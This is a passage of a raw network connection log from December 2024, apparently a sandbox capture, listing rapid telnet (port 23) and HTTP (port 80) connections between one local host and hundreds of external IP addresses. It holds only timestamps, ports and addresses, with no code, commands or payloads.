Dec 3, 2024 22:11:44.058422089 CET	8163	23	192.168.2.23	18.145.26.105
Dec 3, 2024 22:11:44.058427095 CET	8163	23	192.168.2.23	108.158.244.226
Dec 3, 2024 22:11:44.058567047 CET	23	8163	195.5.214.71	192.168.2.23
Dec 3, 2024 22:11:44.058576107 CET	23	8163	183.93.27.69	192.168.2.23
Dec 3, 2024 22:11:44.058585882 CET	23	8163	218.41.78.20	192.168.2.23
Dec 3, 2024 22:11:44.058593988 CET	23	8163	109.235.104.1	192.168.2.23
Dec 3, 2024 22:11:44.058607101 CET	23	8163	176.55.199.214	192.168.2.23
Dec 3, 2024 22:11:44.058609962 CET	8163	23	192.168.2.23	195.5.214.71
Dec 3, 2024 22:11:44.058618069 CET	23	8163	199.61.104.195	192.168.2.23
Dec 3, 2024 22:11:44.058619976 CET	8163	23	192.168.2.23	183.93.27.69
Dec 3, 2024 22:11:44.058619976 CET	8163	23	192.168.2.23	218.41.78.20
Dec 3, 2024 22:11:44.058628082 CET	23	8163	210.55.239.228	192.168.2.23
Dec 3, 2024 22:11:44.058635950 CET	23	8163	124.164.192.69	192.168.2.23
Dec 3, 2024 22:11:44.058634996 CET	8163	23	192.168.2.23	109.235.104.1
Dec 3, 2024 22:11:44.058640003 CET	8163	23	192.168.2.23	176.55.199.214
Dec 3, 2024 22:11:44.058641911 CET	8163	23	192.168.2.23	199.61.104.195
Dec 3, 2024 22:11:44.058667898 CET	8163	23	192.168.2.23	124.164.192.69
Dec 3, 2024 22:11:44.058669090 CET	8163	23	192.168.2.23	210.55.239.228
Dec 3, 2024 22:11:44.059335947 CET	23	8163	75.114.119.27	192.168.2.23
Dec 3, 2024 22:11:44.059344053 CET	23	8163	117.47.74.231	192.168.2.23
Dec 3, 2024 22:11:44.059360981 CET	23	8163	112.153.56.199	192.168.2.23
Dec 3, 2024 22:11:44.059370041 CET	23	8163	80.120.36.192	192.168.2.23
Dec 3, 2024 22:11:44.059376955 CET	8163	23	192.168.2.23	75.114.119.27
Dec 3, 2024 22:11:44.059381008 CET	8163	23	192.168.2.23	117.47.74.231
Dec 3, 2024 22:11:44.059390068 CET	8163	23	192.168.2.23	112.153.56.199
Dec 3, 2024 22:11:44.059400082 CET	8163	23	192.168.2.23	80.120.36.192
Dec 3, 2024 22:11:44.059407949 CET	23	8163	142.7.98.148	192.168.2.23
Dec 3, 2024 22:11:44.059418917 CET	23	8163	97.20.28.120	192.168.2.23
Dec 3, 2024 22:11:44.059447050 CET	8163	23	192.168.2.23	142.7.98.148
Dec 3, 2024 22:11:44.059449911 CET	8163	23	192.168.2.23	97.20.28.120
Dec 3, 2024 22:11:44.059467077 CET	23	8163	23.150.153.52	192.168.2.23
Dec 3, 2024 22:11:44.059501886 CET	8163	23	192.168.2.23	23.150.153.52
Dec 3, 2024 22:11:44.059526920 CET	23	8163	164.73.213.121	192.168.2.23
Dec 3, 2024 22:11:44.059536934 CET	23	8163	31.184.103.252	192.168.2.23
Dec 3, 2024 22:11:44.059560061 CET	23	8163	71.70.101.180	192.168.2.23
Dec 3, 2024 22:11:44.059562922 CET	8163	23	192.168.2.23	164.73.213.121
Dec 3, 2024 22:11:44.059562922 CET	8163	23	192.168.2.23	31.184.103.252
Dec 3, 2024 22:11:44.059568882 CET	23	8163	102.69.10.195	192.168.2.23
Dec 3, 2024 22:11:44.059587955 CET	23	8163	52.93.42.80	192.168.2.23
Dec 3, 2024 22:11:44.059597015 CET	8163	23	192.168.2.23	71.70.101.180
Dec 3, 2024 22:11:44.059597969 CET	23	8163	40.135.240.7	192.168.2.23
Dec 3, 2024 22:11:44.059598923 CET	8163	23	192.168.2.23	102.69.10.195
Dec 3, 2024 22:11:44.059609890 CET	23	8163	174.139.100.29	192.168.2.23
Dec 3, 2024 22:11:44.059624910 CET	8163	23	192.168.2.23	52.93.42.80
Dec 3, 2024 22:11:44.059628963 CET	8163	23	192.168.2.23	40.135.240.7
Dec 3, 2024 22:11:44.059643030 CET	8163	23	192.168.2.23	174.139.100.29
Dec 3, 2024 22:11:44.059664011 CET	23	8163	57.170.136.223	192.168.2.23
Dec 3, 2024 22:11:44.059710026 CET	8163	23	192.168.2.23	57.170.136.223
Dec 3, 2024 22:11:44.059724092 CET	23	8163	88.147.4.137	192.168.2.23
Dec 3, 2024 22:11:44.059732914 CET	23	8163	106.73.1.81	192.168.2.23
Dec 3, 2024 22:11:44.059772968 CET	8163	23	192.168.2.23	106.73.1.81
Dec 3, 2024 22:11:44.059772968 CET	8163	23	192.168.2.23	88.147.4.137
Dec 3, 2024 22:11:44.059786081 CET	23	8163	2.13.7.214	192.168.2.23
Dec 3, 2024 22:11:44.059801102 CET	23	8163	41.78.229.130	192.168.2.23
Dec 3, 2024 22:11:44.059813976 CET	23	8163	37.29.147.229	192.168.2.23
Dec 3, 2024 22:11:44.059833050 CET	8163	23	192.168.2.23	2.13.7.214
Dec 3, 2024 22:11:44.059837103 CET	8163	23	192.168.2.23	41.78.229.130
Dec 3, 2024 22:11:44.059844017 CET	8163	23	192.168.2.23	37.29.147.229
Dec 3, 2024 22:11:44.059916973 CET	23	8163	83.7.12.169	192.168.2.23
Dec 3, 2024 22:11:44.059927940 CET	23	8163	48.122.233.120	192.168.2.23
Dec 3, 2024 22:11:44.059936047 CET	23	8163	93.35.90.157	192.168.2.23
Dec 3, 2024 22:11:44.059945107 CET	23	8163	113.249.182.238	192.168.2.23
Dec 3, 2024 22:11:44.059952021 CET	23	8163	81.112.103.218	192.168.2.23
Dec 3, 2024 22:11:44.059957027 CET	8163	23	192.168.2.23	83.7.12.169
Dec 3, 2024 22:11:44.059961081 CET	23	8163	50.173.6.20	192.168.2.23
Dec 3, 2024 22:11:44.059966087 CET	8163	23	192.168.2.23	48.122.233.120
Dec 3, 2024 22:11:44.059969902 CET	23	8163	209.130.209.242	192.168.2.23
Dec 3, 2024 22:11:44.059971094 CET	8163	23	192.168.2.23	93.35.90.157
Dec 3, 2024 22:11:44.059971094 CET	8163	23	192.168.2.23	113.249.182.238
Dec 3, 2024 22:11:44.059978008 CET	23	8163	97.100.179.150	192.168.2.23
Dec 3, 2024 22:11:44.059988022 CET	8163	23	192.168.2.23	50.173.6.20
Dec 3, 2024 22:11:44.059988022 CET	8163	23	192.168.2.23	81.112.103.218
Dec 3, 2024 22:11:44.060008049 CET	8163	23	192.168.2.23	209.130.209.242
Dec 3, 2024 22:11:44.060008049 CET	8163	23	192.168.2.23	97.100.179.150
Dec 3, 2024 22:11:44.060787916 CET	23	8163	150.231.224.174	192.168.2.23
Dec 3, 2024 22:11:44.060826063 CET	23	8163	121.125.108.76	192.168.2.23
Dec 3, 2024 22:11:44.060842037 CET	8163	23	192.168.2.23	150.231.224.174
Dec 3, 2024 22:11:44.060861111 CET	8163	23	192.168.2.23	121.125.108.76
Dec 3, 2024 22:11:44.060868025 CET	23	8163	94.160.110.31	192.168.2.23
Dec 3, 2024 22:11:44.060909986 CET	8163	23	192.168.2.23	94.160.110.31
Dec 3, 2024 22:11:44.060918093 CET	23	8163	58.239.179.168	192.168.2.23
Dec 3, 2024 22:11:44.060954094 CET	8163	23	192.168.2.23	58.239.179.168
Dec 3, 2024 22:11:44.060980082 CET	23	8163	70.242.43.173	192.168.2.23
Dec 3, 2024 22:11:44.060991049 CET	23	8163	146.232.237.30	192.168.2.23
Dec 3, 2024 22:11:44.061014891 CET	8163	23	192.168.2.23	70.242.43.173
Dec 3, 2024 22:11:44.061048031 CET	23	8163	122.36.205.106	192.168.2.23
Dec 3, 2024 22:11:44.061053038 CET	8163	23	192.168.2.23	146.232.237.30
Dec 3, 2024 22:11:44.061057091 CET	23	8163	77.165.240.99	192.168.2.23
Dec 3, 2024 22:11:44.061085939 CET	8163	23	192.168.2.23	122.36.205.106
Dec 3, 2024 22:11:44.061090946 CET	8163	23	192.168.2.23	77.165.240.99
Dec 3, 2024 22:11:44.061091900 CET	23	8163	177.76.171.233	192.168.2.23
Dec 3, 2024 22:11:44.061127901 CET	8163	23	192.168.2.23	177.76.171.233
Dec 3, 2024 22:11:44.061146021 CET	23	8163	46.147.173.182	192.168.2.23
Dec 3, 2024 22:11:44.061156988 CET	23	8163	192.180.4.184	192.168.2.23
Dec 3, 2024 22:11:44.061187983 CET	8163	23	192.168.2.23	46.147.173.182
Dec 3, 2024 22:11:44.061193943 CET	8163	23	192.168.2.23	192.180.4.184
Dec 3, 2024 22:11:44.061218023 CET	23	8163	32.217.21.227	192.168.2.23
Dec 3, 2024 22:11:44.061235905 CET	23	8163	223.182.139.79	192.168.2.23
Dec 3, 2024 22:11:44.061264038 CET	8163	23	192.168.2.23	32.217.21.227
Dec 3, 2024 22:11:44.061275005 CET	23	8163	205.180.248.215	192.168.2.23
Dec 3, 2024 22:11:44.061275959 CET	8163	23	192.168.2.23	223.182.139.79
Dec 3, 2024 22:11:44.061320066 CET	23	8163	99.88.9.34	192.168.2.23
Dec 3, 2024 22:11:44.061320066 CET	8163	23	192.168.2.23	205.180.248.215
Dec 3, 2024 22:11:44.061330080 CET	23	8163	192.80.80.57	192.168.2.23
Dec 3, 2024 22:11:44.061363935 CET	23	8163	149.241.127.244	192.168.2.23
Dec 3, 2024 22:11:44.061372995 CET	23	8163	199.12.82.152	192.168.2.23
Dec 3, 2024 22:11:44.061402082 CET	8163	23	192.168.2.23	99.88.9.34
Dec 3, 2024 22:11:44.061402082 CET	8163	23	192.168.2.23	149.241.127.244
Dec 3, 2024 22:11:44.061404943 CET	8163	23	192.168.2.23	199.12.82.152
Dec 3, 2024 22:11:44.061423063 CET	8163	23	192.168.2.23	192.80.80.57
Dec 3, 2024 22:11:44.061429024 CET	23	8163	18.74.164.44	192.168.2.23
Dec 3, 2024 22:11:44.061439037 CET	23	8163	125.60.156.158	192.168.2.23
Dec 3, 2024 22:11:44.061475039 CET	8163	23	192.168.2.23	18.74.164.44
Dec 3, 2024 22:11:44.061475992 CET	8163	23	192.168.2.23	125.60.156.158
Dec 3, 2024 22:11:44.061564922 CET	23	8163	193.32.23.118	192.168.2.23
Dec 3, 2024 22:11:44.061573982 CET	23	8163	1.52.212.169	192.168.2.23
Dec 3, 2024 22:11:44.061582088 CET	23	8163	219.59.219.80	192.168.2.23
Dec 3, 2024 22:11:44.061590910 CET	23	8163	78.127.137.61	192.168.2.23
Dec 3, 2024 22:11:44.061599970 CET	23	8163	139.49.46.3	192.168.2.23
Dec 3, 2024 22:11:44.061599970 CET	8163	23	192.168.2.23	193.32.23.118
Dec 3, 2024 22:11:44.061604977 CET	8163	23	192.168.2.23	1.52.212.169
Dec 3, 2024 22:11:44.061613083 CET	23	8163	69.211.120.71	192.168.2.23
Dec 3, 2024 22:11:44.061619043 CET	8163	23	192.168.2.23	219.59.219.80
Dec 3, 2024 22:11:44.061621904 CET	23	8163	194.124.204.233	192.168.2.23
Dec 3, 2024 22:11:44.061625004 CET	8163	23	192.168.2.23	78.127.137.61
Dec 3, 2024 22:11:44.061633110 CET	23	8163	94.99.252.167	192.168.2.23
Dec 3, 2024 22:11:44.061634064 CET	8163	23	192.168.2.23	139.49.46.3
Dec 3, 2024 22:11:44.061652899 CET	8163	23	192.168.2.23	69.211.120.71
Dec 3, 2024 22:11:44.061662912 CET	8163	23	192.168.2.23	94.99.252.167
Dec 3, 2024 22:11:44.061680079 CET	8163	23	192.168.2.23	194.124.204.233
Dec 3, 2024 22:11:44.062495947 CET	23	8163	52.232.4.102	192.168.2.23
Dec 3, 2024 22:11:44.062514067 CET	23	8163	73.168.135.157	192.168.2.23
Dec 3, 2024 22:11:44.062537909 CET	8163	23	192.168.2.23	73.168.135.157
Dec 3, 2024 22:11:44.062552929 CET	23	8163	133.245.124.231	192.168.2.23
Dec 3, 2024 22:11:44.062555075 CET	8163	23	192.168.2.23	52.232.4.102
Dec 3, 2024 22:11:44.062571049 CET	23	8163	65.176.27.239	192.168.2.23
Dec 3, 2024 22:11:44.062580109 CET	23	8163	99.145.150.38	192.168.2.23
Dec 3, 2024 22:11:44.062589884 CET	8163	23	192.168.2.23	133.245.124.231
Dec 3, 2024 22:11:44.062608004 CET	8163	23	192.168.2.23	99.145.150.38
Dec 3, 2024 22:11:44.062608957 CET	8163	23	192.168.2.23	65.176.27.239
Dec 3, 2024 22:11:44.062613964 CET	23	8163	179.10.203.157	192.168.2.23
Dec 3, 2024 22:11:44.062650919 CET	8163	23	192.168.2.23	179.10.203.157
Dec 3, 2024 22:11:44.062655926 CET	23	8163	182.159.183.118	192.168.2.23
Dec 3, 2024 22:11:44.062666893 CET	23	8163	64.188.254.152	192.168.2.23
Dec 3, 2024 22:11:44.062688112 CET	23	8163	4.213.106.133	192.168.2.23
Dec 3, 2024 22:11:44.062696934 CET	8163	23	192.168.2.23	182.159.183.118
Dec 3, 2024 22:11:44.062696934 CET	8163	23	192.168.2.23	64.188.254.152
Dec 3, 2024 22:11:44.062712908 CET	8163	23	192.168.2.23	4.213.106.133
Dec 3, 2024 22:11:44.062743902 CET	23	8163	190.94.131.6	192.168.2.23
Dec 3, 2024 22:11:44.062753916 CET	23	8163	209.242.169.207	192.168.2.23
Dec 3, 2024 22:11:44.062779903 CET	8163	23	192.168.2.23	190.94.131.6
Dec 3, 2024 22:11:44.062788010 CET	8163	23	192.168.2.23	209.242.169.207
Dec 3, 2024 22:11:44.062793970 CET	23	8163	59.76.150.188	192.168.2.23
Dec 3, 2024 22:11:44.062824965 CET	8163	23	192.168.2.23	59.76.150.188
Dec 3, 2024 22:11:44.062855005 CET	23	8163	132.10.183.230	192.168.2.23
Dec 3, 2024 22:11:44.062890053 CET	8163	23	192.168.2.23	132.10.183.230
Dec 3, 2024 22:11:44.062906981 CET	23	8163	206.165.24.198	192.168.2.23
Dec 3, 2024 22:11:44.062918901 CET	23	8163	194.131.181.63	192.168.2.23
Dec 3, 2024 22:11:44.062930107 CET	23	8163	14.105.168.181	192.168.2.23
Dec 3, 2024 22:11:44.062942982 CET	8163	23	192.168.2.23	206.165.24.198
Dec 3, 2024 22:11:44.062949896 CET	8163	23	192.168.2.23	194.131.181.63
Dec 3, 2024 22:11:44.062954903 CET	8163	23	192.168.2.23	14.105.168.181
Dec 3, 2024 22:11:44.062958002 CET	23	8163	47.156.27.106	192.168.2.23
Dec 3, 2024 22:11:44.062997103 CET	8163	23	192.168.2.23	47.156.27.106
Dec 3, 2024 22:11:44.063004971 CET	23	8163	49.186.65.77	192.168.2.23
Dec 3, 2024 22:11:44.063014984 CET	23	8163	184.66.150.71	192.168.2.23
Dec 3, 2024 22:11:44.063019037 CET	23	8163	93.12.102.69	192.168.2.23
Dec 3, 2024 22:11:44.063024998 CET	23	8163	99.116.16.22	192.168.2.23
Dec 3, 2024 22:11:44.063035011 CET	23	8163	164.169.2.166	192.168.2.23
Dec 3, 2024 22:11:44.063044071 CET	8163	23	192.168.2.23	49.186.65.77
Dec 3, 2024 22:11:44.063050032 CET	8163	23	192.168.2.23	93.12.102.69
Dec 3, 2024 22:11:44.063050032 CET	8163	23	192.168.2.23	184.66.150.71
Dec 3, 2024 22:11:44.063062906 CET	8163	23	192.168.2.23	99.116.16.22
Dec 3, 2024 22:11:44.063064098 CET	8163	23	192.168.2.23	164.169.2.166
Dec 3, 2024 22:11:44.063072920 CET	23	8163	23.104.120.149	192.168.2.23
Dec 3, 2024 22:11:44.063082933 CET	23	8163	65.227.154.92	192.168.2.23
Dec 3, 2024 22:11:44.063092947 CET	23	8163	50.36.132.13	192.168.2.23
Dec 3, 2024 22:11:44.063112020 CET	8163	23	192.168.2.23	23.104.120.149
Dec 3, 2024 22:11:44.063121080 CET	8163	23	192.168.2.23	65.227.154.92
Dec 3, 2024 22:11:44.063123941 CET	8163	23	192.168.2.23	50.36.132.13
Dec 3, 2024 22:11:44.063142061 CET	23	8163	31.98.96.167	192.168.2.23
Dec 3, 2024 22:11:44.063152075 CET	23	8163	137.212.211.47	192.168.2.23
Dec 3, 2024 22:11:44.063179016 CET	8163	23	192.168.2.23	31.98.96.167
Dec 3, 2024 22:11:44.063185930 CET	8163	23	192.168.2.23	137.212.211.47
Dec 3, 2024 22:11:44.063199997 CET	80	6883	51.59.155.159	192.168.2.23
Dec 3, 2024 22:11:44.063267946 CET	6883	80	192.168.2.23	51.59.155.159
Dec 3, 2024 22:11:44.064068079 CET	80	6883	76.224.243.28	192.168.2.23
Dec 3, 2024 22:11:44.064081907 CET	80	6883	168.30.129.26	192.168.2.23
Dec 3, 2024 22:11:44.064106941 CET	6883	80	192.168.2.23	76.224.243.28
Dec 3, 2024 22:11:44.064114094 CET	6883	80	192.168.2.23	168.30.129.26
Dec 3, 2024 22:11:44.064121962 CET	80	6883	184.223.242.56	192.168.2.23
Dec 3, 2024 22:11:44.064162016 CET	6883	80	192.168.2.23	184.223.242.56
Dec 3, 2024 22:11:44.064174891 CET	80	6883	31.229.39.86	192.168.2.23
Dec 3, 2024 22:11:44.064183950 CET	80	6883	93.114.82.70	192.168.2.23
Dec 3, 2024 22:11:44.064193964 CET	80	6883	164.219.110.195	192.168.2.23
Dec 3, 2024 22:11:44.064213037 CET	80	6883	190.0.40.224	192.168.2.23
Dec 3, 2024 22:11:44.064222097 CET	6883	80	192.168.2.23	31.229.39.86
Dec 3, 2024 22:11:44.064222097 CET	6883	80	192.168.2.23	164.219.110.195
Dec 3, 2024 22:11:44.064223051 CET	80	6883	164.52.226.229	192.168.2.23
Dec 3, 2024 22:11:44.064229012 CET	6883	80	192.168.2.23	93.114.82.70
Dec 3, 2024 22:11:44.064248085 CET	80	6883	120.17.246.228	192.168.2.23
Dec 3, 2024 22:11:44.064256907 CET	6883	80	192.168.2.23	190.0.40.224
Dec 3, 2024 22:11:44.064256907 CET	6883	80	192.168.2.23	164.52.226.229
Dec 3, 2024 22:11:44.064287901 CET	80	6883	184.1.113.43	192.168.2.23
Dec 3, 2024 22:11:44.064297915 CET	80	6883	197.65.226.172	192.168.2.23
Dec 3, 2024 22:11:44.064325094 CET	80	6883	202.210.195.212	192.168.2.23
Dec 3, 2024 22:11:44.064331055 CET	6883	80	192.168.2.23	184.1.113.43
Dec 3, 2024 22:11:44.064331055 CET	6883	80	192.168.2.23	197.65.226.172
Dec 3, 2024 22:11:44.064337015 CET	80	6883	67.245.238.138	192.168.2.23
Dec 3, 2024 22:11:44.064338923 CET	6883	80	192.168.2.23	120.17.246.228
Dec 3, 2024 22:11:44.064352989 CET	80	6883	81.216.162.254	192.168.2.23
Dec 3, 2024 22:11:44.064366102 CET	6883	80	192.168.2.23	202.210.195.212
Dec 3, 2024 22:11:44.064374924 CET	6883	80	192.168.2.23	67.245.238.138
Dec 3, 2024 22:11:44.064390898 CET	6883	80	192.168.2.23	81.216.162.254
Dec 3, 2024 22:11:44.064395905 CET	80	6883	144.18.119.231	192.168.2.23
Dec 3, 2024 22:11:44.064404964 CET	80	6883	149.63.176.215	192.168.2.23
Dec 3, 2024 22:11:44.064414978 CET	80	6883	106.64.140.227	192.168.2.23
Dec 3, 2024 22:11:44.064430952 CET	6883	80	192.168.2.23	144.18.119.231
Dec 3, 2024 22:11:44.064440012 CET	6883	80	192.168.2.23	149.63.176.215
Dec 3, 2024 22:11:44.064444065 CET	80	6883	123.111.18.74	192.168.2.23
Dec 3, 2024 22:11:44.064448118 CET	6883	80	192.168.2.23	106.64.140.227
Dec 3, 2024 22:11:44.064481974 CET	6883	80	192.168.2.23	123.111.18.74
Dec 3, 2024 22:11:44.064506054 CET	80	6883	85.120.200.175	192.168.2.23
Dec 3, 2024 22:11:44.064516068 CET	80	6883	17.22.218.64	192.168.2.23
Dec 3, 2024 22:11:44.064524889 CET	80	6883	144.38.67.76	192.168.2.23
Dec 3, 2024 22:11:44.064539909 CET	80	6883	166.148.233.111	192.168.2.23
Dec 3, 2024 22:11:44.064544916 CET	6883	80	192.168.2.23	85.120.200.175
Dec 3, 2024 22:11:44.064549923 CET	6883	80	192.168.2.23	17.22.218.64
Dec 3, 2024 22:11:44.064557076 CET	6883	80	192.168.2.23	144.38.67.76
Dec 3, 2024 22:11:44.064574003 CET	6883	80	192.168.2.23	166.148.233.111
Dec 3, 2024 22:11:44.064596891 CET	80	6883	190.98.40.150	192.168.2.23
Dec 3, 2024 22:11:44.064606905 CET	80	6883	213.205.237.209	192.168.2.23
Dec 3, 2024 22:11:44.064615011 CET	80	6883	4.164.30.94	192.168.2.23
Dec 3, 2024 22:11:44.064631939 CET	80	6883	104.97.71.206	192.168.2.23
Dec 3, 2024 22:11:44.064639091 CET	6883	80	192.168.2.23	190.98.40.150
Dec 3, 2024 22:11:44.064646959 CET	6883	80	192.168.2.23	213.205.237.209
Dec 3, 2024 22:11:44.064649105 CET	6883	80	192.168.2.23	4.164.30.94
Dec 3, 2024 22:11:44.064651966 CET	80	6883	115.219.19.235	192.168.2.23
Dec 3, 2024 22:11:44.064666986 CET	6883	80	192.168.2.23	104.97.71.206
Dec 3, 2024 22:11:44.064692020 CET	6883	80	192.168.2.23	115.219.19.235
Dec 3, 2024 22:11:44.064759970 CET	80	6883	147.162.143.210	192.168.2.23
Dec 3, 2024 22:11:44.064800978 CET	6883	80	192.168.2.23	147.162.143.210
Dec 3, 2024 22:11:44.065443039 CET	80	6883	34.1.159.142	192.168.2.23
Dec 3, 2024 22:11:44.065484047 CET	6883	80	192.168.2.23	34.1.159.142
Dec 3, 2024 22:11:44.065505028 CET	80	6883	107.59.42.233	192.168.2.23
Dec 3, 2024 22:11:44.065515995 CET	80	6883	216.51.146.178	192.168.2.23
Dec 3, 2024 22:11:44.065547943 CET	6883	80	192.168.2.23	216.51.146.178
Dec 3, 2024 22:11:44.065548897 CET	6883	80	192.168.2.23	107.59.42.233
Dec 3, 2024 22:11:44.065557957 CET	80	6883	97.172.244.109	192.168.2.23
Dec 3, 2024 22:11:44.065577030 CET	80	6883	94.67.140.12	192.168.2.23
Dec 3, 2024 22:11:44.065608978 CET	6883	80	192.168.2.23	97.172.244.109
Dec 3, 2024 22:11:44.065608978 CET	6883	80	192.168.2.23	94.67.140.12
Dec 3, 2024 22:11:44.065726995 CET	80	6883	181.127.244.244	192.168.2.23
Dec 3, 2024 22:11:44.065762997 CET	80	6883	109.86.134.198	192.168.2.23
Dec 3, 2024 22:11:44.065763950 CET	6883	80	192.168.2.23	181.127.244.244
Dec 3, 2024 22:11:44.065773964 CET	80	6883	86.220.10.105	192.168.2.23
Dec 3, 2024 22:11:44.065808058 CET	6883	80	192.168.2.23	109.86.134.198
Dec 3, 2024 22:11:44.065809011 CET	6883	80	192.168.2.23	86.220.10.105
Dec 3, 2024 22:11:44.065960884 CET	80	6883	128.126.186.128	192.168.2.23
Dec 3, 2024 22:11:44.065972090 CET	80	6883	172.198.102.234	192.168.2.23
Dec 3, 2024 22:11:44.065980911 CET	80	6883	116.217.117.22	192.168.2.23
Dec 3, 2024 22:11:44.065990925 CET	80	6883	167.165.182.151	192.168.2.23
Dec 3, 2024 22:11:44.065999985 CET	80	6883	139.82.234.177	192.168.2.23
Dec 3, 2024 22:11:44.066004038 CET	80	6883	41.45.199.225	192.168.2.23
Dec 3, 2024 22:11:44.066005945 CET	6883	80	192.168.2.23	128.126.186.128
Dec 3, 2024 22:11:44.066008091 CET	80	6883	89.154.41.11	192.168.2.23
Dec 3, 2024 22:11:44.066010952 CET	6883	80	192.168.2.23	172.198.102.234
Dec 3, 2024 22:11:44.066016912 CET	6883	80	192.168.2.23	116.217.117.22
Dec 3, 2024 22:11:44.066021919 CET	80	6883	191.159.26.3	192.168.2.23
Dec 3, 2024 22:11:44.066031933 CET	6883	80	192.168.2.23	139.82.234.177
Dec 3, 2024 22:11:44.066032887 CET	80	6883	159.228.209.93	192.168.2.23
Dec 3, 2024 22:11:44.066040993 CET	6883	80	192.168.2.23	89.154.41.11
Dec 3, 2024 22:11:44.066040993 CET	6883	80	192.168.2.23	167.165.182.151
Dec 3, 2024 22:11:44.066042900 CET	6883	80	192.168.2.23	41.45.199.225
Dec 3, 2024 22:11:44.066042900 CET	80	6883	83.220.72.51	192.168.2.23
Dec 3, 2024 22:11:44.066052914 CET	80	6883	130.166.4.145	192.168.2.23
Dec 3, 2024 22:11:44.066054106 CET	6883	80	192.168.2.23	191.159.26.3
Dec 3, 2024 22:11:44.066062927 CET	80	6883	58.84.133.194	192.168.2.23
Dec 3, 2024 22:11:44.066071033 CET	80	6883	44.174.64.47	192.168.2.23
Dec 3, 2024 22:11:44.066071987 CET	6883	80	192.168.2.23	159.228.209.93
Dec 3, 2024 22:11:44.066081047 CET	80	6883	131.162.210.165	192.168.2.23
Dec 3, 2024 22:11:44.066081047 CET	6883	80	192.168.2.23	83.220.72.51
Dec 3, 2024 22:11:44.066082001 CET	6883	80	192.168.2.23	130.166.4.145
Dec 3, 2024 22:11:44.066087961 CET	6883	80	192.168.2.23	58.84.133.194
Dec 3, 2024 22:11:44.066091061 CET	80	6883	110.110.108.53	192.168.2.23
Dec 3, 2024 22:11:44.066102982 CET	6883	80	192.168.2.23	44.174.64.47
Dec 3, 2024 22:11:44.066128969 CET	6883	80	192.168.2.23	131.162.210.165
Dec 3, 2024 22:11:44.066157103 CET	80	6883	117.207.107.77	192.168.2.23
Dec 3, 2024 22:11:44.066167116 CET	80	6883	170.103.119.206	192.168.2.23
Dec 3, 2024 22:11:44.066167116 CET	6883	80	192.168.2.23	110.110.108.53
Dec 3, 2024 22:11:44.066179037 CET	80	6883	180.157.48.208	192.168.2.23
Dec 3, 2024 22:11:44.066189051 CET	80	6883	14.58.146.239	192.168.2.23
Dec 3, 2024 22:11:44.066195965 CET	6883	80	192.168.2.23	117.207.107.77
Dec 3, 2024 22:11:44.066195965 CET	6883	80	192.168.2.23	170.103.119.206
Dec 3, 2024 22:11:44.066199064 CET	80	6883	42.134.226.231	192.168.2.23
Dec 3, 2024 22:11:44.066216946 CET	6883	80	192.168.2.23	180.157.48.208
Dec 3, 2024 22:11:44.066217899 CET	6883	80	192.168.2.23	14.58.146.239
Dec 3, 2024 22:11:44.066239119 CET	6883	80	192.168.2.23	42.134.226.231
Dec 3, 2024 22:11:44.066740990 CET	80	6883	42.43.93.97	192.168.2.23
Dec 3, 2024 22:11:44.066752911 CET	80	6883	141.188.101.184	192.168.2.23
Dec 3, 2024 22:11:44.066762924 CET	80	6883	197.182.112.122	192.168.2.23
Dec 3, 2024 22:11:44.066780090 CET	6883	80	192.168.2.23	42.43.93.97
Dec 3, 2024 22:11:44.066792965 CET	6883	80	192.168.2.23	141.188.101.184
Dec 3, 2024 22:11:44.066793919 CET	6883	80	192.168.2.23	197.182.112.122
Dec 3, 2024 22:11:44.066802979 CET	80	6883	19.189.250.23	192.168.2.23
Dec 3, 2024 22:11:44.066833019 CET	80	6883	133.171.30.137	192.168.2.23
Dec 3, 2024 22:11:44.066837072 CET	6883	80	192.168.2.23	19.189.250.23
Dec 3, 2024 22:11:44.066843033 CET	80	6883	71.217.144.11	192.168.2.23
Dec 3, 2024 22:11:44.066859961 CET	80	6883	219.199.44.138	192.168.2.23
Dec 3, 2024 22:11:44.066875935 CET	6883	80	192.168.2.23	133.171.30.137
Dec 3, 2024 22:11:44.066878080 CET	80	6883	19.91.171.206	192.168.2.23
Dec 3, 2024 22:11:44.066881895 CET	6883	80	192.168.2.23	71.217.144.11
Dec 3, 2024 22:11:44.066889048 CET	80	6883	125.222.86.192	192.168.2.23
Dec 3, 2024 22:11:44.066890955 CET	6883	80	192.168.2.23	219.199.44.138
Dec 3, 2024 22:11:44.066904068 CET	80	6883	139.159.61.72	192.168.2.23
Dec 3, 2024 22:11:44.066924095 CET	6883	80	192.168.2.23	19.91.171.206
Dec 3, 2024 22:11:44.066924095 CET	6883	80	192.168.2.23	125.222.86.192
Dec 3, 2024 22:11:44.066940069 CET	80	6883	39.226.214.105	192.168.2.23
Dec 3, 2024 22:11:44.066943884 CET	6883	80	192.168.2.23	139.159.61.72
Dec 3, 2024 22:11:44.066978931 CET	6883	80	192.168.2.23	39.226.214.105
Dec 3, 2024 22:11:44.066984892 CET	80	6883	192.132.128.63	192.168.2.23
Dec 3, 2024 22:11:44.067028046 CET	6883	80	192.168.2.23	192.132.128.63
Dec 3, 2024 22:11:44.067037106 CET	80	6883	71.172.81.27	192.168.2.23
Dec 3, 2024 22:11:44.067074060 CET	6883	80	192.168.2.23	71.172.81.27
Dec 3, 2024 22:11:44.067094088 CET	80	6883	4.195.9.53	192.168.2.23
Dec 3, 2024 22:11:44.067133904 CET	6883	80	192.168.2.23	4.195.9.53
Dec 3, 2024 22:11:44.067159891 CET	80	6883	192.53.88.142	192.168.2.23
Dec 3, 2024 22:11:44.067169905 CET	80	6883	154.36.187.241	192.168.2.23
Dec 3, 2024 22:11:44.067202091 CET	6883	80	192.168.2.23	192.53.88.142
Dec 3, 2024 22:11:44.067203045 CET	6883	80	192.168.2.23	154.36.187.241
Dec 3, 2024 22:11:44.067225933 CET	80	6883	123.162.158.231	192.168.2.23
Dec 3, 2024 22:11:44.067265034 CET	6883	80	192.168.2.23	123.162.158.231
Dec 3, 2024 22:11:44.067287922 CET	80	6883	80.250.108.240	192.168.2.23
Dec 3, 2024 22:11:44.067303896 CET	80	6883	184.121.58.29	192.168.2.23
Dec 3, 2024 22:11:44.067329884 CET	6883	80	192.168.2.23	80.250.108.240
Dec 3, 2024 22:11:44.067337036 CET	6883	80	192.168.2.23	184.121.58.29
Dec 3, 2024 22:11:44.067342043 CET	80	6883	205.163.28.89	192.168.2.23
Dec 3, 2024 22:11:44.067384958 CET	6883	80	192.168.2.23	205.163.28.89
Dec 3, 2024 22:11:44.067394018 CET	80	6883	186.235.219.220	192.168.2.23
Dec 3, 2024 22:11:44.067430973 CET	6883	80	192.168.2.23	186.235.219.220
